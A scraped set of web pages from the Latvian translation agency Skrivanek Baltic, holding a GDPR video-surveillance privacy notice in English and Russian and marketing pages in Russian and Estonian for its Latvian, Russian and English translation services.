the purpose of ensuring public order and protection of immovable property 1. What is the purpose of video surveillance? SIA Skrivanek Baltic carries out video surveillance for the prevention and detection of crimes and offences related to the protection of real estate, for the safety of the public, customers, employees and vital interests of persons, including the protection of life and health and public order, office work and services. The decision to install and record video surveillance equipment has been taken by SIA Skrivanek Baltic after assessing whether video surveillance can achieve the stated objective. 2. Where is the video surveillance carried out? Video surveillance is carried out along the outer perimeter of the immovable property of SIA Skrivanek Baltic – office building at Lāčplēša iela 87C, Riga, including the parking lot, as well as the carriageway of Lāčplēša iela. Indoor video surveillance is carried out in the public area of the ground floor of the customer service area, which includes a separate employee workplace, entrance and waiting area. 3. Important information 3. 1. The Controller – SIA Skrivanek Baltic, reg. no: 40003626172, legal address: Lāčplēša iela 87C, Riga, LV-1011, telephone +371 67240364, e-mail: birojs@skrivanek. lv. 3. 2. Contact details of the Data Protection Officer: Uldis Krūmiņš, tel. : +371 67240364, e-mail: dpo@skrivanek. lv. 3. 3. Legal basis for video surveillance – Article 6, Paragraph one, Points c, e and f of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation). Respect and protection of the substantial public interest. 3. 4. Legitimate interests: prevention of crime, maintenance of public order. 3. 5. Recipients of personal data – the Controller and its authorised employees, the data subject, where applicable, national law enforcement authorities (State Police, investigative authorities, courts, etc. ). 3. 6. Personal data are not intended to be transferred to a third country which is not a Member State of the EU or EEA or to an international organisation. 4. When and for how long is the data recorded on video surveillance stored? The retention period of video recordings is one (1) month. Video surveillance data which establishes a threat to public order, a criminal offence, a wanted person or a vehicle shall be kept until the conclusion of criminal proceedings, administrative offences proceedings, administrative proceedings or a departmental review by the police authority, but not longer than three (3) years. 5. Data security The data obtained from the video surveillance recording shall be stored in such a way that third parties do not have access to them. No backup copies shall be made of the video surveillance recordings and the data shall not be disclosed to third parties, except in cases provided for in external laws and regulations (for example, if the information needs to be disclosed to law enforcement authorities). In cases where it is necessary to inspect personal data recorded in video surveillance and to lawfully disclose the data to other persons, SIA Skrivanek Baltic records data on to whom (identifying the person), when, for what purpose and what data have been disclosed. 6. The data subject has the right to: 6. 1. obtain the information collected about him or her for the purpose of processing personal data as set out in Paragraph 1; 6. 2. obtain information about those natural or legal persons who have received information about that data subject from the controller within a specified period of time. The information to be provided to the data subject shall not include public authorities that are conducting criminal proceedings, subjects of operational activities or other authorities about which the law prohibits disclosure of such information; 6. 3. if the data subject requests information in relation to video surveillance, the data subject is obliged to provide, at the controller's request, the information necessary to identify the data subject and the personal data requested; 6. 4. within one (1) month from the date of the relevant request, receive free of charge the information referred to in this Paragraph or a reasoned written refusal to provide all or part of the information referred to in this Paragraph. The provision of information may be refused if the data subject refuses to comply with the obligation set out in Paragraph 6. 3. 6. 5. request rectification or erasure of the data or restriction of processing in relation to the data subject. 7. The contact person of the Controller in matters of personal data protection: Data Protection Officer Uldis Krūmiņš, phone: +371 67240364, e-mail: dpo@skrivanek. lv. 8. The data subject may lodge a complaint with the Data State Inspectorate (Blaumaņa iela 11/13-15, Riga, LV-1011). --- > Skrivanek – это языковая компания с 25+-летним опытом работы – профессиональные и качественные языковые услуги для компаний и частных лиц. - Published: 2024-08-26 - Modified: 2024-08-28 - URL: https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/ - Translation Priorities: Optional Видеонаблюдение SIA Skrivanek Baltic в общественных местах – в целях обеспечения общественного порядка и защиты недвижимой собственности 1. С какой целью (для чего) ведется видеонаблюдение? SIA Skrivanek Baltic ведет видеонаблюдение для предотвращения и раскрытия преступных деяний и нарушений в связи с защитой недвижимой собственности, безопасностью общества, клиентов, работников и для защиты жизненно важных интересов людей, в том числе жизни и здоровья, общественного порядка, обеспечения работы офиса и предоставления услуг. Решение установить устройства видеонаблюдения и вести записи SIA Skrivanek Baltic приняло, оценив возможность достичь поставленной цели с помощью видеонаблюдения. 2. Где ведется видеонаблюдение? Видеонаблюдение ведется по внешнему периметру недвижимой собственности SIA Skrivanek Baltic – офисного здания по адресу: ул. Лачплеша, 87с, Рига, в том числе на автостоянке и на проезжей части улицы Лачплеша. В помещениях видеонаблюдение ведется в общедоступной зоне на первом этаже Центра обслуживания клиентов, включая рабочие места отдельных сотрудников, вход и зал ожидания. 3. Важная информация 3. 1. Администратор – общество с ограниченной ответственностью SIA Skrivanek Baltic, рег. номер: 40003626172, юридический адрес: ул. Лачплеша, 87с, Рига, LV-1011, тел. +371 67240364, адрес эл. почты: birojs@skrivanek. lv. 3. 2. Контактная информация специалиста по защите данных: Улдис Круминьш (Uldis Krūmiņš), тел. : +371 67240364, адрес эл. почты: dpo@skrivanek. lv. 3. 3. Юридическое основание видеонаблюдения – подпункты c), e) и f) части первой статьи 6 Регламента Европейского парламента и Совета (ЕС) № 2016/679 от 27 апреля 2016 г. о защите физических лиц в отношении обработки личных данных и о свободном обороте таких данных, отменяющего Директиву № 95/46/ЕС (Общего регламента о защите данных). Соблюдение и защита существенных интересов общества. 3. 4. Легитимные интересы – предотвращение преступных деяний, обеспечение общественного порядка. 3. 5. Получатели личных данных – администратор и уполномоченные им сотрудники, субъект данных, в случае необходимости – государственные правоохранительные органы (Государственная полиция, следственные органы, суды и т. п. ). 3. 6. Отправка данных в третью страну, не являющуюся членом ЕС или ЕЭЗ, или международной организации не предусмотрена. 4. Когда начинается и сколько длится хранение данных видеонаблюдения? Срок хранения видеозаписей – 1 (один) месяц. Данные, полученные в ходе видеонаблюдения, в которых обнаружена угроза общественному порядку, преступное деяние, находящееся в розыске лицо или транспортное средство, хранятся до завершения производства по уголовному делу, делу об административном правонарушении, административного производства или ведомственной проверки органом полиции, но не дольше 3 (трех) лет. 5. Безопасность данных Хранение данных, взятых из записи видеонаблюдения, осуществляется способом, исключающим доступ посторонних. Для записей видеонаблюдения не создаются резервные копии, и данные не передаются третьим лицам, за исключением случаев, предусмотренных внешними нормативными актами (например, если информацию нужно передать правоохранительным органам). Если возникла необходимость просмотреть личные данные, зафиксированные видеонаблюдением, и на законных основаниях разгласить их другим лицам, SIA Skrivanek Baltic фиксирует сведения о том, кому (идентифицируя данное лицо), когда, с какой целью разглашались данные и какие именно. 6. Субъект данных имеет следующие права: 6. 1. получить информацию, собранную о нем для достижения указанной в пункте 1 цели обработки личных данных; 6. 2. получить информацию о физических или юридических лицах, которые в течение определенного срока получили от администратора сведения о субъекте этих данных. В информацию, предоставляемую субъекту данных, запрещается включать сведения о государственных учреждениях, которые направляют уголовный процесс, являются субъектами оперативной деятельности, а также других учреждениях, сведения о которых запрещает разглашать закон; 6. 3. если субъект данных запрашивает информацию о видеонаблюдении, он обязан по соответствующему требованию администратора предоставить сведения, необходимые для идентификации субъекта данных и запрашиваемых личных данных; 6. 4. в течение месяца со дня подачи соответствующего запроса бесплатно получить упомянутую в данном пункте информацию или обоснованный письменный отказ предоставить упомянутые в данном пункте сведения – полностью или какой-либо части. В предоставлении информации может быть отказано, если субъект данных отказывается выполнять обязанность, предусмотренную подпунктом 6. 3; 6. 5. требовать исправить, удалить данные или ограничить их обработку по отношению к субъекту данных. 7. Контактное лицо администратора по вопросам защиты данных – специалист по защите данных Улдис Круминьш, тел. : +371 67240364, адрес эл. почты: dpo@skrivanek. lv. 8. На осуществляемую обработку личных данных субъект данных может подать жалобу в Государственную инспекцию данных (ул. Блауманя, 11/13–15, Рига, LV-1011). --- - Published: 2024-08-14 - Modified: 2024-08-14 - URL: https://skrivanek.lv/paldies-par-pieprasijumu-b2b/ - Translation Priorities: Optional Thank you for contacting Skrivanek! Our Project Manager will be in touch with you shortly.  We are open Monday to Friday, from 9:00 to 17:30. tt If you have any further questions, please check out our FAQ page.  We recommend you take a look at our Blog to learn more about language industry trends. NEED MORE INFORMATION? EMAIL OR CALL US! Whether your questions are related to translations, language courses, other language services or simply need language advice, Skrivanek team will be happy to answer them.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Find out more about other services offered by Skrivanek Baltic: FOREIGN AND LATVIAN LANGUAGE COURSES FOR INDIVIDUALS AND COMPANIES Language courses for heart and career, online or in person! Choose the one that's right for you! VALODUMACIBAS. LV FOCUS – FOREIGN LANGUAGE AUDIT Fast and effective online tool for assessing the language skills of your employees and candidates. FIND OUT MORE --- - Published: 2024-08-14 - Modified: 2024-08-14 - URL: https://skrivanek.lv/paldies-par-pieprasijumu-b2b/ - Translation Priorities: Optional Благодарим за обращение в Skrivanek! Наш руководитель проектов свяжется с Вами в ближайшее время.  Мы работаем с понедельника по пятницу, с 09:00 до 17:30. tt Если у Вас возникли дополнительные вопросы, предлагаем перейти в раздел «Часто задаваемые вопросы (ЧаВо)».  Советуем заглянуть в наш блог, чтобы ознакомиться с актуальными тенденциями в языковой отрасли или советами по употреблению латышского языка. НУЖНА ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ? НАПИШИТЕ ИЛИ ПОЗВОНИТЕ НАМ! Команда Skrivanek с радостью ответит на Ваши вопросы о переводах, языковых курсах, других языковых услугах, а также поможет, если Вам просто нужна консультация по языкам.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Узнайте больше о других услугах Skrivanek Baltic: КУРСЫ ИНОСТРАННЫХ ЯЗЫКОВ ДЛЯ ЧАСТНЫХ ЛИЦ И ПРЕДПРИЯТИЙ Языковые курсы для души и карьеры, онлайн или на месте! Выберите наиболее подходящие! VALODUMACIBAS. LV FOCUS – АУДИТ ЗНАНИЯ ИНОСТРАННЫХ ЯЗЫКОВ Быстрый и эффективный онлайн-инструмент для оценки языковых навыков Ваших работников и кандидатов. УЗНАЙТЕ БОЛЬШЕ --- > Skrivaneki kogenud tõlkijad pakuvad ettevõtetele ja eraisikutele professionaalseid tõlketeenuseid tekstide tõlkimiseks vene keelde ja vene keelest inglise keelde. - Published: 2024-06-12 - Modified: 2024-08-13 - URL: https://skrivanek.lv/et/skrivanek-balticu-keeleekspertidest-meeskond-pakub-tipptasemel-tolkeid-nii-ettevotetele-kui-ka-eraisikutele-vajate-abi-konkreetse-projektiga-tasuta-hinnapakkumise-voi-lisateabe-saamiseks-votke-uhend/ - Translation Priorities: Optional PROFESSIONAALSED VENE-INGLISE JA INGLISE-VENE TÕLKETEENUSED ETTEVÕTETELE JA ERAISIKUTELE | TÕLGE VENE KEELDE | VENE KEELELE SUUNATUD TÕLKETEENUSED Skrivanek Baltic pakub professionaalset tõlketeenust tekstide tõlkimiseks vene keelde ja vene keelest inglise keelde. Meie meeskond koosneb kogenud vene keele tõlkijatest, kes on spetsialiseerunud eri valdkondadele, võimaldades meil pakkuda nii tavalisi kui ka sertifitseeritud tõlkeid. Meie tõlketeenused on abiks ettevõtetele eri sektorites, sealhulgas spetsiifilistes valdkondades, nagu tööstus, tehnika, meditsiin, õigus ja paljud muud. Tegeleme mitmesuguste dokumentide tõlkimisega, nagu ettevõtete lepingud, arved, kataloogid, reklaamlaused, aruanded, ärikirjavahetus, aktid, volikirjad, vormid ja muud konfidentsiaalsed materjalid. Lisaks sellele, et meie tõlkijad tagavad keelelise täpsuse, hoolitsevad nad ka selle eest, et tekst oleks keele ja riigi seisukohalt sobiv ja kultuuriliselt asjakohane. Meie kliendid usaldavad meid, sest teavad, et pakume kvaliteetseid tõlkeid vastavalt nende ärivajadustele. MIKS VALIDA SKRIVANEK BALTIC, KUI TEIL ON VAJA TÕLKIDA VENE-INGLISE VÕI INGLISE-VENE KEELESUUNDADEL? Skrivanek Baltic pakub usaldusväärseid ja professionaalseid keeleteenuseid, et aidata teil tõlkida vene keelest inglise keelde või inglise keelest vene keelde. Tänu aastatepikkusele kogemusele, kvalifitseeritud lingvistidest meeskonnale ja pühendumusele kliendi rahulolule saame pakkuda lahendust kõigile teie tõlkevajadustele. MIKS VALIDA SKRIVANEK BALTIC Range andmeturve – kõik tõlked valmivad ELi liikmesriikides. Toetame enam kui 100 failivormingut – olgu selleks PDF, JPG, IDML, JSON või HTML, me saame hakkama. Dokumentide konverteerimise pärast ei ole vaja muretseda. Tõlgime enam kui 100 keelde – meie tõlketeenused on kõikehõlmavad ja nendega tegeleb üks ettevõte. Te ei pea oma projektide jaoks lisaks teisi tõlkebüroosid otsima. Skrivaneki tõlkebüroos pakutakse laias valikus keeleteenuseid – alates dokumentide tõlkimisest kuni filmide subtiitriteni, veebilehtede või rakenduste lokaliseerimisteenusteni. Kiired ja lihtsad hinnapakkumised veebis – unustage tundidepikkune pakkumise ootamine. Teeme hinnapakkumise vaid 30 minutiga. Täitmine veebis – tellige tõlketeenus ja saadame tõlgitud dokumendid teile e-postiga, sh kvalifitseeritud digiallkirjadega varustatud sertifitseeritud tõlked. Traditsioonilised paberkandjal tõlked võime saata teile tagasi posti või kulleriga. Mugav kliendiportaal – jälgige kõike ühes kohas ja olge kursis oma projekti kulgemisega. Kvaliteedi tagamine – olete mures meie tõlgete kvaliteedi pärast? Ei ole põhjust. Meile on omistatud standarditele ISO 9001 ja 17100 vastavad sertifikaadid, mis tõendavad meie pühendumust kvaliteedile ja täpsusele. Küsige tasuta hinnapakkumist või lisateavet! Skrivanek Balticu keeleekspertidest meeskond pakub tipptasemel tõlkeid nii ettevõtetele kui ka eraisikutele. Vajate abi konkreetse projektiga? Tasuta hinnapakkumise või lisateabe saamiseks võtke ühendust juba täna. Ootame teiega koostööd! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada MILLAL ON DOKUMENDI INIMTÕLGE VENE KEELDE PARIM VALIK? Täpne ja põhjalik tõlge. Dokumentide vene keelde tõlkimisel tagavad inimtõlkijad täpsed ja põhjalikud tõlked. Nad suudavad tabada lähtekeele õiget tähendust, keelepruuki ja kultuurilisi nüansse. Parem suhtlus. Täpne tõlge võimaldab kõigil asjaosalistel paremini suhelda. Inimtõlkijad tagavad, et kõik saavad dokumendist aru. See omakorda vähendab arusaamatuste ohtu ja parandab üldist suhtlust. Muudatuste järgi kohandatav. Inimtõlkesse saab vajadusel hõlpsasti muudatusi teha. Kui on vaja teha parandusi, saab inimtõlkija teksti hõlpsalt muuta, et tagada selle täpsus. Asjatundlikkus konkreetsetes valdkondades. Meie Skrivaneki tõlkijatel on eriteadmised mitmesugustes valdkondades ja nad tunnevad nendele valdkondadele omast tehnilist keelt. See tagab keeruliste dokumentide täpse tõlke. Ehe ja kultuuritundlik. Inimtõlge tagab autentsed ja kultuuritundlikud tõlked. Vene keelt emakeelena kõnelevad tõlkijad pakuvad väärtuslikku konteksti ja tagavad, et teksti keel kajastab sobivat meeleolu ja kultuurilist olustikku. KUIDAS VÄHENDADA KULUSID DOKUMENTIDE TÕLKIMISEL VENE KEELDE/KEELEST KVALITEEDIS JÄRELEANDMISI TEGEMATA? Valige usaldusväärne tõlketeenus. Üks võimalus dokumentide vene keelde/keelest tõlkimise kulude vähendamiseks on valida usaldusväärne ja kogenud tõlketeenus. Me suudame teile pakkuda konkurentsivõimelist hinda ja tagada kvaliteetsed tõlked. Lihtsustage algteksti. Mida lihtsam on algtekst, seda kergem on seda tõlkida, vähendades vajadust keeleteadusliku uurimistöö ja korrigeerimise järele. Lihtsustatud tekst muudab tõlkimise sujuvamaks, kiiremaks ja täpsemaks, vähendades sellele kuluvat aega ja vaeva. Pakkuge konteksti ja abimaterjale. Kontekst ja abimaterjalid (nt terminibaasid ja viitematerjalid) võivad oluliselt vähendada tõlkekulusid, võimaldades tõlkijatel töötada kiiresti ja täpsemalt. Kontekst aitab tõlkijatel mõista ka sõnade ja väljendite nüansse ja tähendusi. Valige õiget tüüpi fail. Ka õiget tüüpi fail võib aidata tõlkekulusid optimeerida. Eelistatud on tekstifailid, nagu . doc, . txt ja . rtf, sest need on kergesti ligipääsetavad, tõlgitavad ja korrigeeritavad. Täpne, selge ja loetav tekst aitab tõlkijatel tõhusamalt töötada, kiirendades üldist tõlkeprotsessi ja vähendades tõlkekulusid. KAS ON VÕIMALIK SAADA SERTIFITSEERITUD TÕLGET INGLISE KEELEST VENE KEELDE VEEBIS KONTORISSE TULEMATA? Sertifitseeritud tõlke inglise keelest vene keelde saab korraldada veebis, kui saadate Skrivanek Balticule . edoc-faili (digiallkirjastatud dokument). Notariaalselt kinnitatud tõlge saadetakse tagasi . edoc-formaadis, tõlgi poolt allkirjastatuna ja vannutatud notari poolt digiallkirjaga tõendatuna. See protsess sobib dokumentide jaoks, mille on väljastanud sellised asutused nagu teabekeskus, maksuamet või ettevõtete register. Küsige hinnapakkumist. Võtke Skrivanekiga ühendust ja küsige oma sertifitseeritud tõlkele hinnapakkumine. Esitage kindlasti kogu vajalik teave, nagu dokumendi tüüp, sõnade arv ja tähtaeg. Saatke dokument. Saatke dokument e-postiga või laadige see üles meie veebilehele. Kui teil on nõuded vormindusele või millelegi muule spetsiifilisele, andke meile konkreetsed juhised. Vaadake tõlge üle ja kinnitage see. Kui tõlge on valmis, saadame teile tõlgitud dokumendi ülevaatamiseks. Kui on vaja teha parandusi või muudatusi, andke meile teada. Edastame teile sertifitseeritud tõlke. Pärast lõplikku ülevaatamist ja kinnitamist saadame teile sertifitseeritud tõlke e-posti või posti teel. KUIDAS MEIE VENE KEELELE SUUNATUD TÕLKETEENUS TOIMIB --- > Необходим перевод с латышского на английский язык? Выберите Skrivanek Baltic – компанию, предлагающую переводы на 110+ языков. - Published: 2024-06-07 - Modified: 2024-09-23 - URL: https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/ ПЕРЕВОДИТЕ НА ЛАТЫШСКИЙ | УСЛУГИ ПЕРЕВОДА НА ЛАТЫШСКИЙ ЯЗЫК Если вам нужен качественный перевод на латышский язык – вы обратились по адресу. Бюро переводов Skrivanek Baltic готово вам помочь. Мы – команда квалифицированных лингвистов, которые специализируются на переводах с латышского на английский и с английского на латышский язык. Мы обладаем компетенцией во множестве отраслей, включая промышленный, технический, медицинский и юридический секторы. Можем выполнить как обычный, так и заверенный перевод. Наши услуги охватывают множество видов документов, например: корпоративные договоры, счета, каталоги, рекламные слоганы, отчеты, деловую переписку, акты, доверенности, бланки и конфиденциальные материалы. Наши переводчики гарантируют не только языковую точность перевода, но и соответствие переведенного текста его назначению и культурным особенностям целевой аудитории. Мы заслужили доверие клиентов, предоставляя качественные переводы, отвечающие конкретным потребностям их предприятий. 10 ПРИЧИН ПОРУЧИТЬ SKRIVANEK BALTIC ПЕРЕВОДЫ С ЛАТЫШСКОГО НА АНГЛИЙСКИЙ И С АНГЛИЙСКОГО НА ЛАТЫШСКИЙ ЯЗЫК Строгое соблюдение безопасности данных: все переводы выполняются в странах-участницах ЕС, и обеспечивается конфиденциальность предоставленной заказчиком информации. Поддержка более 100 форматов файлов: мы работаем с файлами разного формата, включая PDF, JPG, IDML, JSON и HTML, что избавляет вас от необходимости конвертировать документы. Доступность более 100 языков: наши разносторонние услуги перевода охватывают более 100 языков, избавляя вас от необходимости искать несколько переводческих агентств для работы со своими проектами. Широкий выбор языковых услуг: наше агентство предлагает разнообразные услуги – от перевода документов до перевода субтитров к фильмам, а также локализацию интернет-страниц и приложений. Быстрое и простое получение ценового предложения онлайн: забудьте об утомительном ожидании предложений. Мы подготовим ценовое предложение для вас всего за 30 минут. Онлайн-доставка: получите переведенные документы по электронной почте, в том числе заверенные переводы с квалифицированными электронными подписями. Переведенные документы в традиционном (распечатанном) виде мы можем отправить вам почтой или курьером. Удобный клиентский портал: отслеживайте все процессы и следите за продвижением вашего проекта на дружественном пользователю клиентском портале. Контроль качества: не сомневайтесь – наши переводы отвечают высочайшим стандартам. Мы сертифицированы согласно ISO 9001 и 17100, что подтверждает нашу приверженность качеству и точности в работе. Компетентная команда переводчиков: Skrivanek Baltic создал команду квалифицированных и опытных переводчиков, которые специализируются на переводах с латышского на английский и с английского на латышский язык и являются носителями латышского языка. Благодаря глубокому знанию обоих языков и культурных нюансов они обеспечивают точный с языковой и культурной точек зрения перевод. Отдельные менеджеры проектов: Skrivanek Baltic назначает для каждого проекта перевода отдельного менеджера проектов. В его обязанности входит контроль процесса перевода в целом, обеспечение своевременной доставки и решение любых вопросов или неясностей, которые могут возникнуть у вас в ходе проекта. Опыт и внимание к деталям гарантируют безупречное выполнение заказа. Выберите Skrivanek Baltic и его надежные и профессиональные услуги перевода на латышский язык, соответствующие потребностям вашего предприятия. Необходим профессиональный перевод с латышского на английский язык? Выберите Skrivanek Baltic – компанию, предлагающую переводы на более чем 110 языков. Получите ценовое предложение онлайн и качественный результат. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ПЕРЕВОДИТЕ НА ЛАТЫШСКИЙ | УСЛУГИ ПЕРЕВОДА НА ЛАТЫШСКИЙ ЯЗЫК Если вам нужен качественный перевод на латышский язык – вы обратились по адресу. Бюро переводов Skrivanek Baltic готово вам помочь. Мы – команда квалифицированных лингвистов, которые специализируются на переводах с латышского на английский и с английского на латышский язык. Мы обладаем компетенцией во множестве отраслей, включая промышленный, технический, медицинский и юридический секторы. Можем выполнить как обычный, так и заверенный перевод. Наши услуги охватывают множество видов документов, например: корпоративные договоры, счета, каталоги, рекламные слоганы, отчеты, деловую переписку, акты, доверенности, бланки и конфиденциальные материалы. Наши переводчики гарантируют не только языковую точность перевода, но и соответствие переведенного текста его назначению и культурным особенностям целевой аудитории. Мы заслужили доверие клиентов, предоставляя качественные переводы, отвечающие конкретным потребностям их предприятий. 10 ПРИЧИН ПОРУЧИТЬ SKRIVANEK BALTIC ПЕРЕВОДЫ С ЛАТЫШСКОГО НА АНГЛИЙСКИЙ И С АНГЛИЙСКОГО НА ЛАТЫШСКИЙ ЯЗЫК Строгое соблюдение безопасности данных: все переводы выполняются в странах-участницах ЕС, и обеспечивается конфиденциальность предоставленной заказчиком информации. Поддержка более 100 форматов файлов: мы работаем с файлами разного формата, включая PDF, JPG, IDML, JSON и HTML, что избавляет вас от необходимости конвертировать документы. Доступность более 100 языков: наши разносторонние услуги перевода охватывают более 100 языков, избавляя вас от необходимости искать несколько переводческих агентств для работы со своими проектами. Широкий выбор языковых услуг: наше агентство предлагает разнообразные услуги – от перевода документов до перевода субтитров к фильмам, а также локализацию интернет-страниц и приложений. Быстрое и простое получение ценового предложения онлайн: забудьте об утомительном ожидании предложений. Мы подготовим ценовое предложение для вас всего за 30 минут. Онлайн-доставка: получите переведенные документы по электронной почте, в том числе заверенные переводы с квалифицированными электронными подписями. Переведенные документы в традиционном (распечатанном) виде мы можем отправить вам почтой или курьером. Удобный клиентский портал: отслеживайте все процессы и следите за продвижением вашего проекта на дружественном пользователю клиентском портале. Контроль качества: не сомневайтесь – наши переводы отвечают высочайшим стандартам. Мы сертифицированы согласно ISO 9001 и 17100, что подтверждает нашу приверженность качеству и точности в работе. Компетентная команда переводчиков: Skrivanek Baltic создал команду квалифицированных и опытных переводчиков, которые специализируются на переводах с латышского на английский и с английского на латышский язык и являются носителями латышского языка. Благодаря глубокому знанию обоих языков и культурных нюансов они обеспечивают точный с языковой и культурной точек зрения перевод. Отдельные менеджеры проектов: Skrivanek Baltic назначает для каждого проекта перевода отдельного менеджера проектов. В его обязанности входит контроль процесса перевода в целом, обеспечение своевременной доставки и решение любых вопросов или неясностей, которые могут возникнуть у вас в ходе проекта. Опыт и внимание к деталям гарантируют безупречное выполнение заказа. Выберите Skrivanek Baltic и его надежные и профессиональные услуги перевода на латышский язык, соответствующие потребностям вашего предприятия. Необходим профессиональный перевод с латышского на английский язык? Выберите Skrivanek Baltic – компанию, предлагающую переводы на более чем 110 языков. Получите ценовое предложение онлайн и качественный результат. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить КАК ВЫПОЛНЯЕТСЯ УСЛУГА ПЕРЕВОДА НА ЛАТЫШСКИЙ ЯЗЫК --- > Vajate professionaalset kirjalikku tõlget läti keelest inglise keelde? Valige Skrivanek tõlgeteks 110+ keelde. Hinnapakkumised ja kvaliteetsed tulemused otse veebis. - Published: 2024-06-07 - Modified: 2024-08-13 - URL: https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/ - Translation Priorities: Optional KIRJALIK TÕLGE LÄTI KEELDE | LÄTI KEELELE SUUNATUD TÕLKETEENUSED Kui vajate kvaliteetseid läti keelele suunatud tõlketeenuseid, olete õiges kohas. Skrivanek Baltic on siin, et teid aidata. Oleme kvalifitseeritud tõlkijate meeskond, kes on spetsialiseerunud läti-inglise ja inglise-läti tõlgetele. Omame kogemusi eri valdkondades, sealhulgas tööstus-, tehnika-, meditsiini- ja õigussektorites. Olenemata sellest, kas vajate tavalist või sertifitseeritud tõlget, meie pakume mõlemat. Meie teenused hõlmavad mitmesuguseid dokumente, nagu ettevõtete lepingud, arved, kataloogid, reklaamlaused, aruanded, ärikirjavahetus, aktid, volikirjad, vormid ja konfidentsiaalsed materjalid. Lisaks sellele, et meie tõlkijad garanteerivad keelelise täpsuse, tagavad nad ka selle, et tõlgitud tekst sobib sihtrühmale ja on kultuuriliselt asjakohane. Meie kliendid usaldavad meid, sest teavad, et pakume kvaliteetseid tõlkeid vastavalt nende konkreetsetele ärivajadustele. 10 PÕHJUST, MIKS VALIDA SKRIVANEK BALTIC, KUI VAJATE TÕLKEID LÄTI-INGLISE VÕI INGLISE-LÄTI KEELESUUNDADEL Range andmeturve. Kõik tõlked valmivad ELi liikmesriikides, tagades teie andmete konfidentsiaalsuse. Toetame üle 100 failivormingu. Et me tuleme toime erinevate failivormingutega, sealhulgas PDF, JPG, IDML, JSON ja HTML, ei ole teil vaja oma dokumente konverteerida. Tõlgime enam kui 100 keelde. Meie laiaulatuslikud tõlketeenused hõlmavad rohkem kui 100 keelt, mis tähendab, et te ei pea oma projektide jaoks otsima mitut tõlkebürood. Lai valik keeleteenuseid. Meie tõlkebüroos pakutakse väga erinevaid keeleteenuseid alates dokumentide tõlkimisest kuni filmide subtiitriteni või veebilehtede või rakenduste lokaliseerimisteenusteni. Kiire ja lihtne hinnapakkumine veebis. Unustage tundidepikkune pakkumise ootamine. Teeme teile hinnapakkumise vaid 30 minutiga. Üleandmine veebis. Saadame tõlgitud dokumendid teile e-posti teel, sh kvalifitseeritud digiallkirjadega varustatud sertifitseeritud tõlked. Traditsioonilised paberkandjal tõlked võime saata teile tagasi posti või kulleriga. Mugav kliendiportaal. Jälgige kõike ühest kohast ja olge oma projekti edenemisega kursis, kasutades meie kasutajasõbralikku kliendiportaali. Kvaliteedi tagamine. Võite olla kindel, et meie tõlked vastavad kõrgeimatele standarditele. Meile on omistatud on standarditele ISO 9001 ja 17100 vastavad sertifikaadid, mis tõendavad meie pühendumust kvaliteedile ja täpsusele. Asjatundlik tõlkijate meeskond. Skrivanek Baltic pakub läti-inglise ja inglise-läti tõlgetele spetsialiseerunud kõrgelt kvalifitseeritud ja kogenud tõlkijate meeskonda, kelle emakeel on läti keel. Nad tunnevad põhjalikult nii keeli kui ka kultuurilisi nüansse, tagades täpse ja kultuuriliselt asjakohase tõlke. Igal projektil on oma projektijuht. Skrivanek Baltic määrab igale tõlkeprojektile ühe projektijuhi. Ta vastutab kogu tõlkeprotsessi jälgimise eest, tagab õigeaegse üleandmise ja tegeleb kõigi küsimuste või muredega, mis teil kogu projekti jooksul võivad tekkida. Tema pädevus ja tähelepanu detailidele tagavad sujuva tõlkekogemuse. Valige Skrivanek Baltic 